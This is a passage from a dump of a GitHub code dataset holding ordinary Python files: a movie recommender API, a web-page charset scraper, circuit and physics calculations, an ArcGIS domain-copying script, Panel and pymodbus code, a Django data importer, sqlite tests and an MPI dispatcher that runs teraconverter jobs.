'peliculas': lista_peliculas, 'anio': lista_anio, \n 'retorno_pelicula': lista_retorno, \n 'budget_pelicula': lista_budget, \n 'revenue_pelicula': lista_ganancia}\n\n\n@app.get(\"/recomendacion/{titulo}\") \ndef recomendacion(movie: str):\n '''Se ingresa una película y a partir de esta la función retorna \n una recomendación de 5 películas en forma de lista. '''\n \n id_movie = movies_ML[movies_ML['title']==movie].index[0]\n distancias = similarity[id_movie]\n movie_list = sorted(list(enumerate(distancias)), reverse=True, key=lambda x:x[1])[1:6]\n lista_recomendacion = []\n\n for movie_id in movie_list:\n lista_recomendacion.append(movies_ML.iloc[movie_id[0]].title)\n \n return {'lista_recomendada': lista_recomendacion}","repo_name":"MiguelBernat/PI01_ML_OPS","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7447,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20050399766","text":"'''\nqq.com 报错，检查错误原因\nqq网页的charset位置不一样，不能用固定位置截取，遍历寻找\n可以直接get()，此方法放弃\n'''\n\nimport urllib.request\nimport re\n\nurl = \"http://www.baidu.com\"\n\n\ndef get_coding():\n code = \"charset\" #定义下面需要匹配的字符串\n headers = page_content_byte.info()._headers #实际网址\n num = len(headers)\n i = 0\n while i< num:\n # print(i)\n nearcharset = headers[i] #定位到charset那一行\n num1 = len(nearcharset)\n i1 = 0\n while i1\",page_content)\n if search != None :\n search = search.span()\n # print(search)\n else:\n print(\"没有字段\")\n return None\n lstr = search[1]\n # print(lstr)\n search = re.search('',page_content)\n if search != None :\n search = search.span()\n # print(search)\n else:\n print(\"没有字段\")\n return None\n rstr = search[0]\n # print(rstr)\n page_content = page_content[lstr:rstr]\n print(page_content)\n title_file.write(page_content)\n title_file.close()\n\"\"\"\npage_content_byte = urllib.request.urlopen(url) #Unicode网页内容\n\n# print(get_coding(\nget_coding()\n# get_title(get_coding())\n\n\npage_content_byte.close\n","repo_name":"qtp1300/python","sub_path":"py3_pycharm/Spider/temp4qq.py","file_name":"temp4qq.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25968442806","text":"import numpy\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\n\n# Resolución de circuito RLC serie sobreamortiguado\n\n# valores de los componentes\nR = 25\nL = 5\nC = 0.01\n\n# condiciones iniciales\nVC0 = 12\nIL0 = 0\n\nw0 = numpy.sqrt(1/(L*C)) # frecuencia de resonancia\nalpha = R/(2*L) # factor de amortiguamiento\n\n# las constantes de tiempo son las raices del polinomio caracteristico, que como el sistema es sobreamortiguado\n# son reales, negativas y distintas entre si\n[s1, s2] = numpy.roots([1, 2*alpha, w0**2])\ns1 = -s1\ns2 = -s2\n\n# para obtener las constantes para terminar de resolver la EDO, aplicamos las condiciones iniciales\n# (estamos despejando X=[a,b] del sistema AX=B)\n[a, b] = numpy.linalg.solve(\n [ # matriz A\n [1, 1],\n [s1, s2]\n ], # B\n [VC0, IL0]\n)\n\n# genero un vector con tiempos para evaluar las funciones y plotear\nt = numpy.arange(0, 30, 0.01)\n\n# evaluo las funciones que calcule en los puntos de t (expresion vectorial)\nuc = [a * numpy.exp(-s1 * tt) + b * numpy.exp(-s2*tt) for tt in t]\nil = [-C*(a*s1*numpy.exp(-s1 * tt) + b*s2*numpy.exp(-s2*tt))*1000 for tt in t]\n\n# plt.plot(t, uc)\n# plt.ylabel(\"Tensión (V)\")\n\nplt.plot(t, uc, \"green\")\nplt.plot(t, il, \"orange\")\n\n#plt.ylabel(\"Corriente (A)\")\nplt.xlabel(\"Tiempo (s)\")\n\n# pongo una grilla\nplt.minorticks_on()\nplt.grid(which='major', linestyle='-', linewidth=0.3, color='black')\nplt.grid(which='minor', linestyle=':', linewidth=0.1, color='black')\n\n# agregamos patches\npatches = [\n mpatches.Patch(color=\"green\", label=\"Tensión capacitor (V)\"),\n mpatches.Patch(color=\"orange\" , label=\"Corriente bobina (mA)\")\n]\n# agregamos leyenda\nplt.legend(handles=patches)\n\n# muestro el grafico que prepare\nplt.show()\n","repo_name":"newtonis/22.02-Electrical-Engineering-Examples","sub_path":"ejemplo2_sobreamortiguado/ejemplo2_sobreamortiguado.py","file_name":"ejemplo2_sobreamortiguado.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"1037463708","text":"WIDTH = 256\nL_ch = 0.5E-2\nDX = L_ch / (WIDTH - 1)\nVMU_H2 = 2.0984E-5\nVMU_AIR = 4.2179E-5\nFTAO = 1.\nVMU_LAT = (FTAO - 0.5) / 3.\nSCALE = VMU_AIR / VMU_LAT\nDT = pow(DX, 2.) / SCALE\nprint(DT)","repo_name":"f4try/lbm_lesson","sub_path":"pre/pre.py","file_name":"pre.py","file_ext":"py","file_size_in_byte":187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20838674846","text":"from abstractControladorPessoas import AbstractControladorPessoas\nfrom cliente import Cliente\nfrom tecnico import Tecnico\n\n\nclass ControladorPessoas(AbstractControladorPessoas):\n def __init__(self):\n self.__todosClientes = []\n self.__todosTecnicos = []\n\n @property\n def clientes(self):\n return self.__todosClientes\n \n @property\n def tecnicos(self):\n return self.__todosTecnicos\n\n def incluiCliente(self, codigo: int, nome: str):\n incluido = False\n for i in self.__todosClientes:\n if i.codigo == codigo:\n incluido = True\n if not incluido:\n cliente = Cliente(nome, codigo)\n self.__todosClientes.append(cliente)\n return cliente\n\n def incluiTecnico(self, codigo: int, nome:str):\n incluido = False\n for i in self.__todosTecnicos:\n if i.codigo == codigo:\n incluido = True\n if not incluido:\n tecnico = Tecnico(nome, codigo)\n self.__todosTecnicos.append(tecnico)\n return tecnico","repo_name":"Livia-ferrao/INE5404-POO_2","sub_path":"VPL/VPL4/controladorPessoa.py","file_name":"controladorPessoa.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27052359551","text":"import os\nimport sys\nimport time\nimport arcpy\n\n\n# Capture start_time\nstart_time = time.time()\n\n\ndef hms_string(sec_elapsed):\n \"\"\"Function to display elapsed time\n\n Keyword arguments:\n sec_elapsed -- elapsed time in seconds\n \"\"\"\n h = int(sec_elapsed / (60 * 60))\n m = int((sec_elapsed % (60 * 60)) / 60)\n s = sec_elapsed % 60.\n return \"{}:{:>02}:{:>05.2f}\".format(h, m, s)\n\n\n# Define in file geodatabase\nfgdb_in = r'E:\\CountrysideSurvey\\esri-uk\\domains\\domains.gdb'\nprint('\\n\\nfgdb_in:\\t\\t{}'.format(fgdb_in))\n\n\n# Define temporary file geodatabase\nfgdb_temp = os.path.dirname(fgdb_in)\nfgdb_temp = os.path.join(fgdb_temp, r'temporary_domain_tables' + r'.gdb')\nprint('\\n\\nfgdb_temp:\\t\\t{}'.format(fgdb_temp))\n\n\n# Create temporary file geodatabase\nif arcpy.Exists(fgdb_temp):\n print('\\tDeleting fgdb_temp {}...'.format(fgdb_temp))\n arcpy.Delete_management(fgdb_temp)\n print('\\tDeleted fgdb_temp {}.'.format(fgdb_temp))\nprint('\\tCreating fgdb_temp {}...'.format(fgdb_temp))\narcpy.CreateFileGDB_management(out_folder_path=os.path.dirname(fgdb_temp),\n out_name=os.path.basename(fgdb_temp),\n out_version='CURRENT')\nprint('\\tCreated fgdb_temp {}.'.format(fgdb_temp))\n\n\n# Define out file geodatabase\nfgdb_out = r'E:\\CountrysideSurvey\\esri-uk\\guids\\guids-20160727-without-nullable-fields.gdb'\nprint('\\n\\nfgdb_out:\\t\\t{}'.format(fgdb_out))\n\n\n# Get a list of domains from the in file geodatabase\ndomains = arcpy.da.ListDomains(fgdb_in)\n\n\n# Loop through list of domains\nfor domain in domains:\n # Only get CS 2007 domains\n if domain.name.startswith('CS2007_'):\n # Print out domain name and type\n print('\\n\\nDomain {0} is of type {1}'.format(domain.name,\n domain.domainType))\n #\n # Print out domain values\n if domain.domainType == 'CodedValue':\n coded_values = domain.codedValues\n for val, desc in coded_values.items():\n print('\\t{0} : {1}'.format(val, desc))\n elif domain.domainType == 'Range':\n print('\\tMin: {0}'.format(domain.range[0]))\n print('\\tMax: {0}'.format(domain.range[1]))\n #\n # Convert domain to a table in temporary fgdb\n print('Converting domain to table in temporary file geodatabase...')\n table_out = domain.name + '_table'\n table_out = os.path.join(fgdb_temp, table_out)\n print('\\ttable_out:\\t\\t\\t\\t{}'.format(table_out))\n code_field = 'Code'\n print('\\tcode_field:\\t\\t\\t\\t{}'.format(code_field))\n description_field = 'Description'\n print('\\tdescription_field:\\t\\t{}'.format(description_field))\n arcpy.DomainToTable_management(in_workspace=fgdb_in,\n domain_name=domain.name,\n out_table=table_out,\n code_field=code_field,\n description_field=description_field,\n configuration_keyword='')\n print('Converted domain to table in temporary file geodatabase.')\n #\n # Convert table to domain in the out file geodatabase\n print('Converting table to domain in the out file geodatabase...')\n existing_domains_list = arcpy.Describe(fgdb_out).domains\n print('exisiting_domains_list:\\t\\t{}'.format(existing_domains_list))\n if domain.name in existing_domains_list:\n print('\\tDeleting existing domain {} in file geodatabase...'.format(domain.name))\n arcpy.DeleteDomain_management(in_workspace=fgdb_out,\n domain_name=domain.name)\n print('\\tDeleted existing domain {} in file geodatabase.'.format(domain.name))\n domain_description = domain.name.replace('_', ' ') + ' domain'\n print('domain_description:\\t\\t{}'.format(domain_description))\n arcpy.TableToDomain_management(in_table=table_out,\n code_field=code_field,\n description_field=description_field,\n in_workspace=fgdb_out,\n domain_name=domain.name,\n domain_description=domain_description,\n update_option='REPLACE')\n print('Converted table to domain in the out file geodatabase.')\n #\n # Assign domain to field\n print('Assigning domain to a field ...')\n field_name = domain.name.replace('CS2007_', '')\n print('field_name:\\t\\t{}'.format(field_name))\n arcpy.env.workspace = fgdb_out\n tables = arcpy.ListTables()\n for table in tables:\n print('\\ttable:\\t\\t{}'.format(table))\n fields = arcpy.ListFields(os.path.join(fgdb_out, table))\n for field in fields:\n assign = 'Assign domain' if field_name == field.name else 'Do not assign domain'\n if assign == 'Assign domain':\n print('\\t\\t{0} is a type of {1}\\t\\t{2}'.format(field.name,\n field.type,\n assign))\n arcpy.AssignDomainToField_management(in_table=os.path.join(fgdb_out, table),\n field_name=field_name,\n domain_name=domain.name,\n subtype_code='')\n print('Assigned domain to a field.')\n\n\n# # Delete temporary file geodatabase\n# print('\\tDeleting fgdb_temp {}...'.format(fgdb_temp))\n# arcpy.Delete_management(fgdb_temp)\n# print('\\tDeleted fgdb_temp {}.'.format(fgdb_temp))\n\n\n# Capture end_time\nend_time = time.time()\n\n\n# Report elapsed_time (= end_time - start_time)\nprint('\\n\\nIt took {} to execute this.'.format(hms_string(end_time - start_time)))\nprint('\\n\\nDone.\\n')\n\n","repo_name":"smwCEH/countryside-survey-related-tables-data-model-guids","sub_path":"copy-domains-20160727-01.py","file_name":"copy-domains-20160727-01.py","file_ext":"py","file_size_in_byte":6093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23834253465","text":"import pathlib\n\nimport param\n\nfrom ...io.state import state\nfrom ...theme import THEMES, DefaultTheme\nfrom ...theme.fast import Design, Fast\nfrom ..base import BasicTemplate\nfrom ..react import ReactTemplate\n\n_ROOT = pathlib.Path(__file__).parent\n\n\nclass FastBaseTemplate(BasicTemplate):\n\n accent_base_color = param.Color(default=\"#0072B5\", doc=\"\"\"\n Optional body accent color override.\"\"\")\n\n background_color = param.Color(doc=\"\"\"\n Optional body background color override.\"\"\")\n\n corner_radius = param.Integer(default=3, bounds=(0,25), doc=\"\"\"\n The corner radius applied to controls.\"\"\")\n\n font = param.String(doc=\"\"\"\n The font name(s) to apply.\"\"\")\n\n font_url = param.String(doc=\"\"\"\n A font url to import.\"\"\")\n\n header_neutral_color = param.Color(doc=\"\"\"\n Optional header neutral color override.\"\"\")\n\n header_accent_base_color = param.Color(doc=\"\"\"\n Optional header accent color override.\"\"\")\n\n neutral_color = param.Color(doc=\"\"\"\n Optional body neutral color override.\"\"\")\n\n theme_toggle = param.Boolean(default=True, doc=\"\"\"\n If True a switch to toggle the Theme is shown.\"\"\")\n\n shadow = param.Boolean(doc=\"\"\"\n Optional shadow override. Whether or not to apply shadow.\"\"\")\n\n sidebar_footer = param.String(\"\", doc=\"\"\"\n A HTML string appended to the sidebar\"\"\")\n\n # Might be extended to accordion or tabs in the future\n main_layout = param.Selector(default=\"card\", label=\"Layout\", objects=[None, \"card\"], doc=\"\"\"\n What to wrap the main components into. Options are '' (i.e. none) and 'card' (Default).\n Could be extended to Accordion, Tab etc. in the future.\"\"\")\n\n design = param.ClassSelector(class_=Design, default=Fast,\n is_instance=False, instantiate=False, doc=\"\"\"\n A Design applies a specific design system to a template.\"\"\")\n\n _css = [_ROOT / \"fast.css\"]\n\n _js = _ROOT / \"js/fast_template.js\"\n\n __abstract = True\n\n def __init__(self, **params):\n query_theme = self._get_theme_from_query_args()\n if query_theme:\n params['theme'] = THEMES[query_theme]\n elif \"theme\" not in params:\n params['theme'] = DefaultTheme\n elif isinstance(params['theme'], str):\n params['theme'] = THEMES[params['theme']]\n if \"accent\" in params:\n accent = params.pop(\"accent\")\n if \"accent_base_color\" not in params:\n params[\"accent_base_color\"] = accent\n if \"header_background\" not in params:\n params[\"header_background\"] = accent\n\n super().__init__(**params)\n self.param.update({\n p: v for p, v in self._design.theme.style.param.values().items()\n if p != 'name' and p in self.param and p not in params\n })\n\n @staticmethod\n def _get_theme_from_query_args():\n theme_arg = state.session_args.get(\"theme\", None)\n if not theme_arg:\n return\n theme_arg = theme_arg[0].decode(\"utf-8\")\n return theme_arg.strip(\"'\").strip('\"')\n\n def _update_vars(self):\n super()._update_vars()\n style = self._design.theme.style\n style.param.update({\n p: getattr(self, p) for p in style.param\n if p != 'name' and p in self.param\n })\n self._render_variables[\"style\"] = style\n self._render_variables[\"theme_toggle\"] = self.theme_toggle\n self._render_variables[\"theme\"] = self.theme.__name__[:-5].lower()\n self._render_variables[\"sidebar_footer\"] = self.sidebar_footer\n self._render_variables[\"main_layout\"] = self.main_layout\n\n\nclass FastGridBaseTemplate(FastBaseTemplate, ReactTemplate):\n \"\"\"\n Combines the FastTemplate and the React template.\n \"\"\"\n\n _resources = dict(js=ReactTemplate._resources['js'])\n\n __abstract = True\n","repo_name":"holoviz/panel","sub_path":"panel/template/fast/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3882,"program_lang":"python","lang":"en","doc_type":"code","stars":3266,"dataset":"github-code","pt":"3"} +{"seq_id":"39538026832","text":"#!/usr/bin/env python3\n\"\"\"Test performance of client: sync vs. async.\n\nThis example show how much faster the async version is.\n\nexample run:\n\n(pymodbus) % ./client_performance.py\n--- Testing sync client v3.4.1\nrunning 1000 call (each 10 registers), took 114.10 seconds\nAverages 114.10 ms pr call and 11.41 ms pr register.\n--- Testing async client v3.4.1\nrunning 1000 call (each 10 registers), took 0.33 seconds\nAverages 0.33 ms pr call and 0.03 ms pr register.\n\"\"\"\nimport asyncio\nimport time\n\nfrom pymodbus import Framer\nfrom pymodbus.client import AsyncModbusSerialClient, ModbusSerialClient\n\n\nLOOP_COUNT = 1000\nREGISTER_COUNT = 10\n\n\ndef run_sync_client_test():\n \"\"\"Run sync client.\"\"\"\n print(\"--- Testing sync client v3.4.1\")\n client = ModbusSerialClient(\n \"/dev/ttys007\",\n framer_name=Framer.RTU,\n baudrate=9600,\n )\n client.connect()\n assert client.connected\n\n start_time = time.time()\n for _i in range(LOOP_COUNT):\n rr = client.read_input_registers(1, REGISTER_COUNT, slave=1)\n if rr.isError():\n print(f\"Received Modbus library error({rr})\")\n break\n client.close()\n run_time = time.time() - start_time\n avg_call = (run_time / LOOP_COUNT) * 1000\n avg_register = avg_call / REGISTER_COUNT\n print(\n f\"running {LOOP_COUNT} call (each {REGISTER_COUNT} registers), took {run_time:.2f} seconds\"\n )\n print(f\"Averages {avg_call:.2f} ms pr call and {avg_register:.2f} ms pr register.\")\n\n\nasync def run_async_client_test():\n \"\"\"Run async client.\"\"\"\n print(\"--- Testing async client v3.4.1\")\n client = AsyncModbusSerialClient(\n \"/dev/ttys007\",\n framer_name=Framer.RTU,\n baudrate=9600,\n )\n await client.connect()\n assert client.connected\n\n start_time = time.time()\n for _i in range(LOOP_COUNT):\n rr = await client.read_input_registers(1, REGISTER_COUNT, slave=1)\n if rr.isError():\n print(f\"Received Modbus library error({rr})\")\n break\n client.close()\n run_time = time.time() - start_time\n avg_call = (run_time / LOOP_COUNT) * 1000\n avg_register = avg_call / REGISTER_COUNT\n print(\n f\"running {LOOP_COUNT} call (each {REGISTER_COUNT} registers), took {run_time:.2f} seconds\"\n )\n print(f\"Averages {avg_call:.2f} ms pr call and {avg_register:.2f} ms pr register.\")\n\n\nif __name__ == \"__main__\":\n run_sync_client_test()\n asyncio.run(run_async_client_test())\n","repo_name":"pymodbus-dev/pymodbus","sub_path":"examples/client_performance.py","file_name":"client_performance.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","stars":1951,"dataset":"github-code","pt":"3"} +{"seq_id":"73991937042","text":"# -*- coding: utf-8 -*-\n\n# Author: smalldoraemon@qq.com\n# CreateTime: 2018/10/9 6:56 AM\n\n# 以下说明了django的model单独使用\nimport sys\nimport os\n\npwd = os.path.dirname(os.path.realpath(__file__))\nsys.path.append(pwd + '../') # 设置路径\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"MxShop.settings\") # 设置环境变量\n\n# 有以下这两个就可以直接使用django\nimport django\n\ndjango.setup()\n\nfrom goods.models import GoodsCategory\n\n# 添加数据\nfrom db_tools.data.category_data import row_data\n\n\ndef add_data(data, type, parent_instance=None):\n '''\n 填充数据用的\n :param data: 数据主体\n :param type: 类型\n :param parent_instance: 父类实体\n :return goods 实例主体:\n '''\n goods = GoodsCategory()\n\n goods.code = data['code']\n goods.name = data['name']\n goods.category_type = type\n if parent_instance is not None:\n goods.parent_category = parent_instance\n goods.save()\n return goods\n\n\nif __name__ == '__main__':\n for level_cat_one in row_data:\n level_instance_one = add_data(level_cat_one, 1)\n for level_cat_two in level_cat_one['sub_categorys']:\n level_instance_two = add_data(level_cat_two, 2,level_instance_one)\n for level_cat_there in level_cat_two['sub_categorys']:\n level_instance_there = add_data(level_cat_there, 3, level_instance_two)\n","repo_name":"Qdoraemon/MxShopGitHub","sub_path":"db_tools/import_category_data.py","file_name":"import_category_data.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35464519570","text":"import sqlite3\nimport unittest\n\nDBNAME = \"laptops.db\"\nclass TestLaptopTable(unittest.TestCase):\n\n def test1(self):\n conn = sqlite3.connect(\"laptops.db\")\n cur = conn.cursor()\n # Test1: test brand and length of the table:\n results = cur.execute(\"SELECT Brand FROM Laptops\")\n brands = results.fetchall()\n self.assertIn(('Apple',), brands)\n self.assertEqual(len(brands), 485)\n\n # Test2: test size ranges:\n results = cur.execute(\"SELECT MIN(Size), MAX(Size) FROM Laptops\")\n size_range = results.fetchall()\n self.assertEqual(size_range[0][0], 10.0)\n self.assertEqual(size_range[0][1], 17.3) \n\n # Test3: test a particular product (name):\n results = cur.execute('''\n SELECT [Name], Size, Price, Color FROM Laptops\n WHERE [Name] LIKE '%MacBook Pro%'\n ORDER BY PRICE DESC\n ''')\n macbookpros = results.fetchall()\n self.assertEqual(len(macbookpros), 63)\n self.assertEqual(macbookpros[0][2], 3799.99)\n self.assertEqual(macbookpros[1][3], \"Space Gray\")\n\n # Test4: test a particular product (name):\n results = cur.execute('''\n SELECT [Name], [Memory(GB)], Storage, [Average Rating] FROM Laptops\n WHERE Color LIKE '%gray%' AND Storage LIKE '%256%'\n ORDER BY [Average Rating] DESC\n ''')\n results = results.fetchall()\n self.assertEqual(len(results), 19)\n self.assertEqual(results[0][2], \"256GB Solid State Drive\")\n self.assertEqual(results[2][0], '15.6\" Touch-Screen Laptop')\n\n conn.close()\n\n\nclass TestReviewTable(unittest.TestCase):\n\n def test2(self):\n conn = sqlite3.connect(\"laptops.db\")\n cur = conn.cursor()\n # Test1: test length of the table:\n results = cur.execute(\"SELECT SKU FROM Reviews\")\n SKUs = results.fetchall()\n self.assertEqual(len(SKUs), 555)\n\n # Test2: test number of products that have at least seven or even no reviews:\n results = cur.execute(\"SELECT [Review 7] FROM Reviews WHERE [Review 7] IS NOT '' \")\n SKUs = results.fetchall()\n self.assertEqual(len(SKUs), 190)\n results = cur.execute(\"SELECT [Review 1] FROM Reviews WHERE [Review 1] IS NOT '' \")\n SKUs = results.fetchall()\n self.assertEqual(len(SKUs), 302)\n conn.close()\n\n\nclass TestJoinTable(unittest.TestCase):\n \n def test3(self):\n conn = sqlite3.connect(\"laptops.db\")\n cur = conn.cursor()\n # Test1: test number of laptop from Apple that have reviews:\n results = cur.execute('SELECT COUNT(t1.Id) FROM Laptops AS t1 JOIN Reviews AS t2 ON t1.SKU = t2.SKU WHERE t2.[Review 1] IS NOT \"\" AND t1.Brand = \"Apple\"')\n results = results.fetchall()\n self.assertEqual(results[0][0], 68)\n\n # Test2: test number of products that have sizez smaller than 15:\n results = cur.execute('SELECT COUNT(t1.Id) FROM Laptops AS t1 JOIN Reviews AS t2 ON t1.SKU = t2.SKU WHERE t2.[Review 1] IS NOT \"\" AND t1.Size < 15')\n self.assertEqual(results.fetchall()[0][0], 190)\n conn.close()\n\n\n\n\nunittest.main()","repo_name":"yiruigao98/SI507-final-project","sub_path":"proj_test.py","file_name":"proj_test.py","file_ext":"py","file_size_in_byte":3176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23199970133","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nThis program uses a dispatcher/worker approach to consume a queue \r\nof elaborations using teraconverter\r\nCopyright (c) 2016:\r\nMassimiliano Guarrasi (1), Giulio Iannello (2), Alessandro Bria (2)\r\n(1): CINECA\r\n(2): University Campus Bio-Medico of Rome\r\nThe program was made in the framework of the HUMAN BRAIN PROJECT.\r\nAll rights reserved.\r\n\r\n\r\nRELEASE 2.3.6\r\n\r\n\r\nEXAMPLE of usage (X is the major version, Y is the minor version, Z is the patch):\r\nmpirun -np XX python paraconverterX.Y.Z.py -s=source_volume -d=destination_path --depth=DD --height=HH --width=WW --sfmt=source_format --dfmt=destinatiopn_format --resolutions=RR \r\n\r\nwhere:\r\n- XX is the desided level of parallelism plus 1 (for the dispatcher process)\r\n- DD, HH, WW are the values used to partition the image for parallel execution\r\n- source and destination format are allowed formats for teraconverter\r\n- RR are the requested resolutions (according to the convention used by teraconverter)\r\nSee teraconverter documentation for more details\r\n\r\n\r\n*******************************\r\n* Change Log *\r\n*******************************\r\n\r\nv2.3.6 2020-02-08\r\n- changed names of functions: introduced the termnology dispatcher/workers/launchers\r\n\r\nv2.3.5 2020-02-08\r\n- fixed bug (for python3) at line 902: integer division is required\r\n\r\nv2.3.4 2020-01-15\r\n- adapted to run also on Python 3 interpreters: changed <> to !=, use parentheses in \r\n print commands, converted 'keys' and 'values' of dictionaries to lists\r\n\r\nv2.3.3 2019-12-01\r\n- added support for fixed_tiling\r\n\r\nv2.3.2 2017-10-07\r\n- added management of --isotropic option in the partition algorithm\r\n- corrected a bug in function 'collect_instructions'\r\n\r\nv2.2.2 2017-10-07\r\n- revisted platform dependent instructions\r\n\r\nv2.2.1 2017-09-19\r\n- added option --info to display the memory needed in GBytes without performing any \r\n conversion\r\n\r\nv2.2 2017-03-12\r\n- the suspend/resume mechanism can be disabled by changing the value of variable\r\n 'suspend_resume_enabled' (the mechanism is enebled if True, disabled if False\r\n- changed the policy to manage dataset partition and eliminated additional parameter\r\n to specify the desired degree of parallelism which is now directly passed by the main\r\n\r\nv2.1 2017-02-06\r\n- implemented a suspend/resume mechanism\r\n the mechanism can slow down parallel execution if the dataset chunks are relatively \r\n small to avoid this a ram disk can be used to save the status (substitute the name \r\n 'output_nae' at line 953 with the path of the ram disk)\r\n\r\nv2.0 2016-12-10\r\n- dataset partitioning takes into account the source format in order to avoid that the \r\n same image region is read by different TeraConverter instances; requires an additional \r\n parameter in the command line (see EXAMPLE of usage above)\r\n\"\"\"\r\n\r\n\r\nimport os\r\nimport sys\r\nimport time\r\nimport datetime\r\nimport operator\r\nimport math\r\n\r\nfrom glob import glob\r\nfrom mpi4py import MPI\r\nfrom collections import deque\r\nfrom subprocess import *\r\n\r\nimport os.path\r\nimport pickle\r\n\r\n\"\"\"\r\nSet prefix='./' if your teraconverter executable is present in the running director.\r\nIf the teraconverter executable is included in the $PATH dir select prefix=''\r\n\"\"\"\r\n#prefix = './'\r\nprefix = ''\r\n\r\n\"\"\"\r\n*************************\r\n* SUSPEND/RESUME option *\r\n*************************\r\n\r\ninvert comments if you want to enable suspend/resume behavior\r\nsuspend/resume may reduce achievable speedup since it may introduce delays when status is saved\r\nafter every instance of TeraConverter terminates\r\nto reduce this effect, status can be saved in a permament RAM disk of limited size (tens of Kbytes)\r\n\"\"\"\r\n\r\nresume_status_fname = 'para_resume_status.bin'\r\n\r\n#suspend_resume_enabled = True # suspend/resume mechanism enabled\r\nsuspend_resume_enabled = False # suspend/resume mechanism disabled\r\n\r\n\"\"\"\r\nif a special drive (e.g. a RAM disk) should be used to save the status for sispend/resume \r\nthe variable 'save_status_prefix' should be assinged with the path where the status should be \r\nsaved \r\nif 'save_status_prefix' is the empty string the status is saved in the destination directory\r\n(i.e. where TeraConverter instances store their own suspend/resume status\r\n\"\"\"\r\nsave_status_prefix = ''\r\n#save_status_prefix = '/media/giannello/ramdisk/'\r\n\r\n\"\"\"\r\n*************************\r\n\"\"\"\r\n\r\n\r\n\r\n\r\n###############################################################################\r\n# #\r\n# ----------------- Function to parallelize the code ------------------------ # \r\n# #\r\n###############################################################################\r\n\r\ndef score_function(params):\r\n \"\"\"\r\n Assigns a score value with the formula:\r\n score = 100*N_of_voxel/max(N_of_voxel)\r\n Input:\r\n params = dictionary containing {input_name : [Nx,Ny,Nz]}\r\n Output: \r\n scores = dictionary containing {input_name : score}\r\n \"\"\"\r\n tmp_scores = {}\r\n scores = {}\r\n imp_key = params.keys()\r\n for i in imp_key:\r\n tmp = params[i]\r\n npoints = tmp[0]*tmp[1]*tmp[2]\r\n tmp_scores[i] = npoints\r\n den = max(tmp_scores.values())\r\n for i in tmp_scores:\r\n scores[i] = 100.*tmp_scores[i]/den\r\n return scores\r\n\r\n\r\ndef sort_elaborations(scores):\r\n \"\"\"\r\n Create a list of input_name sorted by score\r\n Input:\r\n scores = dictionary of the form {input_name : score}\r\n Output:\r\n scored = a list of input_name sorted by score\r\n \"\"\"\r\n scored = sorted(scores, key=scores.__getitem__, reverse=True)\r\n return scored\r\n\r\n\r\n\r\ndef sort_work(params,priority):\r\n \"\"\"\r\n Returns a dictionary as params but ordered by score\r\n Input:\r\n params = dictionary of the form {input_name : value}\r\n priority = the list of input_name ordered by score calculated by score_function\r\n Output:\r\n sorted_dict = the same dictionary as params but ordered by score\r\n \"\"\"\t\r\n sorted_dict = {}\r\n i = 0\r\n for index in priority:\r\n sorted_dict.update({i:params[index]})\r\n i = i + 1 \r\n return sorted_dict\r\n\r\n\r\ndef pop_left(dictionary):\r\n \"\"\"\r\n Cuts the first element of dictionary and returns its first element (key:value)\r\n Input/Output: \r\n dictionary = Dictionary of string containing the command lines to use. After reading the dictionary the first element is deleted from the dictionary.\r\n Output:\r\n first_el = first element (values) of the dictionary\r\n \"\"\"\t\r\n if len(dictionary) > 0:\r\n first_el ={list(dictionary.keys())[0] : list(dictionary.values())[0]}\r\n dictionary.pop(list(dictionary.keys())[0])\r\n else:\r\n first_el = None\r\n return first_el\r\n\r\n\r\ndef launcher(input_file):\r\n \"\"\"\r\n Perform elaboration for each element of the queue.\r\n Input/Output\r\n input_file = command to be executed\r\n \"\"\"\r\n myrank = comm.Get_rank()\r\n\r\n t1 = time.time()\r\n # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Stringa da Modificare!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n print (\"Scheduled job n. \", list(input_file.keys())[0], \" is executed by rank: \", myrank) \r\n # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n execution_string = prefix+ list(input_file.values())[0]\r\n print (execution_string)\r\n # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Sleep da cancellare!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n #time.sleep((5.+100./(input_file.keys()[0]+1.))/100.)\r\n # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n os.system(execution_string)\r\n t2 = time.time()\r\n print (\" ---> Processor \", myrank, \" has calculated for \" , t2-t1) \r\n return input_file\r\n\r\n\r\ndef dispatcher(queue,rs_fname): # 2017-02-06. Giulio. @ADDED rs_fname\r\n \"\"\"\r\n Dispatch the work among processors.\r\n Input:\r\n queue = list of job inputs\r\n \"\"\"\r\n\r\n # support for suspend/resume\r\n # @ADDED by Giulio Iannello 2017-02-06\r\n n_tasks = 